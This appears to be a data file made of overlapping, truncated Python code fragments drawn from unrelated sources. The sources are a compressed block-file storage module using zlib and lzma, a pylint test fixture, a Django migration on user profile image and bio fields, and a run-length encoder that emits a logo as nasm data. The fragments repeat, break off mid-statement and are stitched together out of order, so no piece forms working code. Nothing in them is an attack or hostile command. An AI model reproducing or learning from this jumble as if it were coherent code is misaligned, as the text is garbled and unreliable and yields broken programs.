"!= self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else:",
"class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in dirnames] def",
"class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname,",
"f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if",
"desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data): raise FormatError(\"lzma",
"seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename self.fh = open(filename) self.format_byte =",
"self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte)) def",
"(idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data len",
"return f return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str,",
"return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in",
"if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed block\",",
"int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline =",
"def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in dirnames] def find_block(self, seg_sum):",
"open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte =",
"self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset =",
"formatbyte = f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is not a zlib",
"self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed",
"FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in dirnames]",
"class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum):",
"idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def",
"return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline)",
"self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset",
"import zlib import lzma import re import os class FormatError(Exception): pass def pack_idxline(seg_len,",
"unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum)",
"in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f return None def compress_string_to_zfile(src_str,",
"f = bd.filename(seg_sum) if os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file): f",
"def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename self.fh = open(filename)",
"seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$',",
"class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def",
"!= len(unpacked_data): raise FormatError(\"lzma data len not consistent with seg lens in x",
"lzma import re import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d",
"self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for",
"= lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for",
"True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0",
"compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data)",
"return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def",
"seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if",
"in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines: xseglen,",
"in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen])",
"return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return",
"f return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9))",
"os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs",
"def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if formatbyte != 'z': raise",
"class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename self.fh",
"= seg_sum self.filename = filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines =",
"% (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit:",
"self.x_embedded_idxlines = [] self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline = self.fh.readline()",
"= open(src_file) formatbyte = f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is not",
"coding: utf-8 -*- import zlib import lzma import re import os class FormatError(Exception):",
"idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data):",
"f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file)",
"os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum)",
"self.format_byte == 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines",
"zlib import lzma import re import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum):",
"self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for _ in",
"pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+)",
"+= xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data len not consistent with",
"d in dirnames] def find_block(self, seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum)",
"dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f =",
"None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def",
"bd.filename(seg_sum) if os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file,",
"self.main_seg_sum = seg_sum self.filename = filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines",
"dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class",
"(\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1))",
"utf-8 -*- import zlib import lzma import re import os class FormatError(Exception): pass",
"os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class",
"self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines:",
"def find_block(self, seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return",
"= bd.filename(seg_sum) if os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file): f =",
"idxline) if not hit: raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum",
"BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return",
"open(src_file) formatbyte = f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is not a",
"self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if",
"unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data len not",
"= self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset",
"return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d)",
"self.format_byte == 'z': self.is_x_group = False elif self.format_byte == 'x': self.is_x_group = True",
"seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum",
"= int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline",
"if os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w')",
"in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname):",
"dirnames] def find_block(self, seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f):",
"unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index line\",",
"[] self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen,",
"= set() if self.format_byte == 'z': self.is_x_group = False elif self.format_byte == 'x':",
"unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if",
"f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is not a zlib file\", (src_file,",
"self.filename = filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if",
"embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for _ in range(embedded_idxline_count):",
"raise FormatError(\"lzma data len not consistent with seg lens in x header\", self.filename)",
"else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d",
"unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset",
"def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname,",
"zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self,",
"for bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f return None",
"= self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group = False elif",
"BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self,",
"__init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename self.fh = open(filename) self.format_byte",
"xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline ="
] |
[
"pylint: disable=missing-docstring # -1: [too-many-lines] __revision__ = 0 ZERFZAER = 3 HEHEHE =",
"# pylint: disable=missing-docstring # -1: [too-many-lines] __revision__ = 0 ZERFZAER = 3 HEHEHE",
"disable=missing-docstring # -1: [too-many-lines] __revision__ = 0 ZERFZAER = 3 HEHEHE = 2"
] |
[
"class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel',",
"22:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'),",
"Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio',",
"null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileImage', field=models.ImageField(default='UserProfiles/Defaults/Blank.png', upload_to='UserProfiles/'),",
"('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ),",
"= [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300,",
"] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel',",
"operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader',",
"), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileImage', field=models.ImageField(default='UserProfiles/Defaults/Blank.png', upload_to='UserProfiles/'), ),",
"[ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'),",
"2018-08-12 22:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles',",
"models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField(",
"Django 2.0.7 on 2018-08-12 22:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies",
"import migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations =",
"migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ),",
"= [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png',",
"Generated by Django 2.0.7 on 2018-08-12 22:36 from django.db import migrations, models class",
"from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ]",
"django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations",
"name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel',",
"# Generated by Django 2.0.7 on 2018-08-12 22:36 from django.db import migrations, models",
"migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileImage', field=models.ImageField(default='UserProfiles/Defaults/Blank.png', upload_to='UserProfiles/'), ), ]",
"model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField(",
"field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileImage',",
"max_length=300, null=True), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileHeader', field=models.ImageField(default='UserProfiles/Defaults/BlankWhite.png', upload_to='UserProfiles/'), ), migrations.AlterField( model_name='userprofilemodel', name='UserProfileImage', field=models.ImageField(default='UserProfiles/Defaults/Blank.png',",
"2.0.7 on 2018-08-12 22:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies =",
"migrations, models class Migration(migrations.Migration): dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [",
"on 2018-08-12 22:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [",
"by Django 2.0.7 on 2018-08-12 22:36 from django.db import migrations, models class Migration(migrations.Migration):",
"dependencies = [ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True,",
"[ ('UserProfiles', '0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True),",
"'0005_auto_20180808_2150'), ] operations = [ migrations.AlterField( model_name='userprofilemodel', name='UserProfileBio', field=models.TextField(blank=True, max_length=300, null=True), ), migrations.AlterField("
] |
[
"[0] yield ret buf2 = list() for b in chunks(buf, 3): i =",
"run of 0's if cur != \".\": buf += [run] # iterator to",
"l: ret += [b] if len(ret) == n: yield ret ret = list()",
"cur = c buf += [run] run = 1 if run > 2",
"<< 5 | b[2] << 10 | 1 << 15 buf2 += [i",
"return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width, height, buf) = rle()",
"= run - 2 ** bits + 1 # we don't need to",
"for row in logo: for c in row: if c == cur: run",
"of 0's if cur != \".\": buf += [run] # iterator to split",
"list() for b in l: ret += [b] if len(ret) == n: yield",
"as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based rle bits = 5",
"0's if cur != \".\": buf += [run] # iterator to split off",
"(len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width, height, buf) = rle() #",
"1: buf += [2 ** bits - 1] buf += [0] run =",
"run if it's a run of 0's if cur != \".\": buf +=",
"while len(ret) % n != 0: ret += [0] yield ret buf2 =",
"# print it as a nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\",",
"0: return while len(ret) % n != 0: ret += [0] yield ret",
"** bits - 1] buf += [0] run = run - 2 **",
"list() if len(ret) == 0: return while len(ret) % n != 0: ret",
"buf2 += [i & 0xff, i >> 8 & 0xff] return (len(logo[0]), len(logo),",
"n): ret = list() for b in l: ret += [b] if len(ret)",
"+= 1 else: cur = c buf += [run] run = 1 if",
"# we don't need to append the last run if it's a run",
"to append the last run if it's a run of 0's if cur",
"bits - 1: buf += [2 ** bits - 1] buf += [0]",
"a run of 0's if cur != \".\": buf += [run] # iterator",
"rle bits = 5 cur = \".\" run = 0 buf = list()",
"buf2 = list() for b in chunks(buf, 3): i = b[0] | b[1]",
"2 ** bits - 1: buf += [2 ** bits - 1] buf",
"row: if c == cur: run += 1 else: cur = c buf",
"(width, height, buf) = rle() # print it as a nasm data directive",
"bits + 1 # we don't need to append the last run if",
"last run if it's a run of 0's if cur != \".\": buf",
"& 0xff, i >> 8 & 0xff] return (len(logo[0]), len(logo), buf2) if __name__",
"directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db \" + \", \".join(map(str, buf)))",
"& 0xff] return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width, height, buf)",
"buf += [0] run = run - 2 ** bits + 1 #",
"buf2) if __name__ == \"__main__\": (width, height, buf) = rle() # print it",
"+= [b] if len(ret) == n: yield ret ret = list() if len(ret)",
"rle() # print it as a nasm data directive print(\"logo_width equ\", width) print(\"logo_height",
"the data into chunks def chunks(l, n): ret = list() for b in",
"in chunks(buf, 3): i = b[0] | b[1] << 5 | b[2] <<",
"buf += [run] # iterator to split off the data into chunks def",
"<< 10 | 1 << 15 buf2 += [i & 0xff, i >>",
"> 2 ** bits - 1: buf += [2 ** bits - 1]",
"+= [run] run = 1 if run > 2 ** bits - 1:",
"+= [2 ** bits - 1] buf += [0] run = run -",
"# simple row based rle bits = 5 cur = \".\" run =",
"[0] run = run - 2 ** bits + 1 # we don't",
"into chunks def chunks(l, n): ret = list() for b in l: ret",
"ret ret = list() if len(ret) == 0: return while len(ret) % n",
"chunks(l, n): ret = list() for b in l: ret += [b] if",
"** bits - 1: buf += [2 ** bits - 1] buf +=",
"2 ** bits + 1 # we don't need to append the last",
"[2 ** bits - 1] buf += [0] run = run - 2",
"0xff, i >> 8 & 0xff] return (len(logo[0]), len(logo), buf2) if __name__ ==",
"\".\": buf += [run] # iterator to split off the data into chunks",
"cur != \".\": buf += [run] # iterator to split off the data",
"** bits + 1 # we don't need to append the last run",
"= fp.read().split(\"\\n\")[:-1] # simple row based rle bits = 5 cur = \".\"",
"nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db \" + \",",
"= 1 if run > 2 ** bits - 1: buf += [2",
"# iterator to split off the data into chunks def chunks(l, n): ret",
"= c buf += [run] run = 1 if run > 2 **",
"ret = list() if len(ret) == 0: return while len(ret) % n !=",
"= list() for row in logo: for c in row: if c ==",
"if len(ret) == n: yield ret ret = list() if len(ret) == 0:",
"i = b[0] | b[1] << 5 | b[2] << 10 | 1",
"15 buf2 += [i & 0xff, i >> 8 & 0xff] return (len(logo[0]),",
"open(\"logo.ascii\") as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based rle bits =",
"list() for b in chunks(buf, 3): i = b[0] | b[1] << 5",
"in l: ret += [b] if len(ret) == n: yield ret ret =",
"in logo: for c in row: if c == cur: run += 1",
"data into chunks def chunks(l, n): ret = list() for b in l:",
"list() for row in logo: for c in row: if c == cur:",
"b[0] | b[1] << 5 | b[2] << 10 | 1 << 15",
"ret buf2 = list() for b in chunks(buf, 3): i = b[0] |",
"1 if run > 2 ** bits - 1: buf += [2 **",
"len(ret) == 0: return while len(ret) % n != 0: ret += [0]",
"= 5 cur = \".\" run = 0 buf = list() for row",
"len(ret) == n: yield ret ret = list() if len(ret) == 0: return",
"we don't need to append the last run if it's a run of",
"a nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db \" +",
"+= [i & 0xff, i >> 8 & 0xff] return (len(logo[0]), len(logo), buf2)",
"10 | 1 << 15 buf2 += [i & 0xff, i >> 8",
"n: yield ret ret = list() if len(ret) == 0: return while len(ret)",
"run = run - 2 ** bits + 1 # we don't need",
"+ 1 # we don't need to append the last run if it's",
"bits = 5 cur = \".\" run = 0 buf = list() for",
"if c == cur: run += 1 else: cur = c buf +=",
"b[2] << 10 | 1 << 15 buf2 += [i & 0xff, i",
"| 1 << 15 buf2 += [i & 0xff, i >> 8 &",
"!= \".\": buf += [run] # iterator to split off the data into",
"need to append the last run if it's a run of 0's if",
"off the data into chunks def chunks(l, n): ret = list() for b",
"5 cur = \".\" run = 0 buf = list() for row in",
"yield ret ret = list() if len(ret) == 0: return while len(ret) %",
"def rle(): with open(\"logo.ascii\") as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based",
"= 0 buf = list() for row in logo: for c in row:",
"iterator to split off the data into chunks def chunks(l, n): ret =",
"b in chunks(buf, 3): i = b[0] | b[1] << 5 | b[2]",
"\".\" run = 0 buf = list() for row in logo: for c",
"for b in l: ret += [b] if len(ret) == n: yield ret",
"+= [run] # iterator to split off the data into chunks def chunks(l,",
"height, buf) = rle() # print it as a nasm data directive print(\"logo_width",
"row based rle bits = 5 cur = \".\" run = 0 buf",
"it as a nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db",
"% n != 0: ret += [0] yield ret buf2 = list() for",
"len(logo), buf2) if __name__ == \"__main__\": (width, height, buf) = rle() # print",
"for c in row: if c == cur: run += 1 else: cur",
"if it's a run of 0's if cur != \".\": buf += [run]",
"bits - 1] buf += [0] run = run - 2 ** bits",
"= list() if len(ret) == 0: return while len(ret) % n != 0:",
"<gh_stars>1-10 def rle(): with open(\"logo.ascii\") as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row",
"run = 1 if run > 2 ** bits - 1: buf +=",
"| b[2] << 10 | 1 << 15 buf2 += [i & 0xff,",
"!= 0: ret += [0] yield ret buf2 = list() for b in",
"== cur: run += 1 else: cur = c buf += [run] run",
"it's a run of 0's if cur != \".\": buf += [run] #",
"[run] run = 1 if run > 2 ** bits - 1: buf",
"based rle bits = 5 cur = \".\" run = 0 buf =",
"= b[0] | b[1] << 5 | b[2] << 10 | 1 <<",
"run += 1 else: cur = c buf += [run] run = 1",
"- 2 ** bits + 1 # we don't need to append the",
"c in row: if c == cur: run += 1 else: cur =",
"fp.read().split(\"\\n\")[:-1] # simple row based rle bits = 5 cur = \".\" run",
"+= [0] run = run - 2 ** bits + 1 # we",
"yield ret buf2 = list() for b in chunks(buf, 3): i = b[0]",
"1] buf += [0] run = run - 2 ** bits + 1",
"cur: run += 1 else: cur = c buf += [run] run =",
"chunks def chunks(l, n): ret = list() for b in l: ret +=",
"if cur != \".\": buf += [run] # iterator to split off the",
"append the last run if it's a run of 0's if cur !=",
"0xff] return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width, height, buf) =",
"chunks(buf, 3): i = b[0] | b[1] << 5 | b[2] << 10",
"== \"__main__\": (width, height, buf) = rle() # print it as a nasm",
"8 & 0xff] return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width, height,",
"buf += [run] run = 1 if run > 2 ** bits -",
"else: cur = c buf += [run] run = 1 if run >",
"buf = list() for row in logo: for c in row: if c",
"ret = list() for b in l: ret += [b] if len(ret) ==",
"len(ret) % n != 0: ret += [0] yield ret buf2 = list()",
"fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based rle bits = 5 cur",
"b in l: ret += [b] if len(ret) == n: yield ret ret",
"== 0: return while len(ret) % n != 0: ret += [0] yield",
"= list() for b in l: ret += [b] if len(ret) == n:",
"= rle() # print it as a nasm data directive print(\"logo_width equ\", width)",
"don't need to append the last run if it's a run of 0's",
"== n: yield ret ret = list() if len(ret) == 0: return while",
"<< 15 buf2 += [i & 0xff, i >> 8 & 0xff] return",
"print it as a nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height)",
"0 buf = list() for row in logo: for c in row: if",
"1 # we don't need to append the last run if it's a",
"if len(ret) == 0: return while len(ret) % n != 0: ret +=",
"+= [0] yield ret buf2 = list() for b in chunks(buf, 3): i",
"with open(\"logo.ascii\") as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based rle bits",
"rle(): with open(\"logo.ascii\") as fp: logo = fp.read().split(\"\\n\")[:-1] # simple row based rle",
"= \".\" run = 0 buf = list() for row in logo: for",
"n != 0: ret += [0] yield ret buf2 = list() for b",
"the last run if it's a run of 0's if cur != \".\":",
"0: ret += [0] yield ret buf2 = list() for b in chunks(buf,",
"| b[1] << 5 | b[2] << 10 | 1 << 15 buf2",
"1 << 15 buf2 += [i & 0xff, i >> 8 & 0xff]",
"b[1] << 5 | b[2] << 10 | 1 << 15 buf2 +=",
"c == cur: run += 1 else: cur = c buf += [run]",
"= list() for b in chunks(buf, 3): i = b[0] | b[1] <<",
"\"__main__\": (width, height, buf) = rle() # print it as a nasm data",
"if run > 2 ** bits - 1: buf += [2 ** bits",
"[b] if len(ret) == n: yield ret ret = list() if len(ret) ==",
"run - 2 ** bits + 1 # we don't need to append",
"run = 0 buf = list() for row in logo: for c in",
"i >> 8 & 0xff] return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\":",
"[i & 0xff, i >> 8 & 0xff] return (len(logo[0]), len(logo), buf2) if",
"data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db \" + \", \".join(map(str,",
"logo = fp.read().split(\"\\n\")[:-1] # simple row based rle bits = 5 cur =",
"buf += [2 ** bits - 1] buf += [0] run = run",
"in row: if c == cur: run += 1 else: cur = c",
"for b in chunks(buf, 3): i = b[0] | b[1] << 5 |",
"5 | b[2] << 10 | 1 << 15 buf2 += [i &",
"ret += [0] yield ret buf2 = list() for b in chunks(buf, 3):",
"simple row based rle bits = 5 cur = \".\" run = 0",
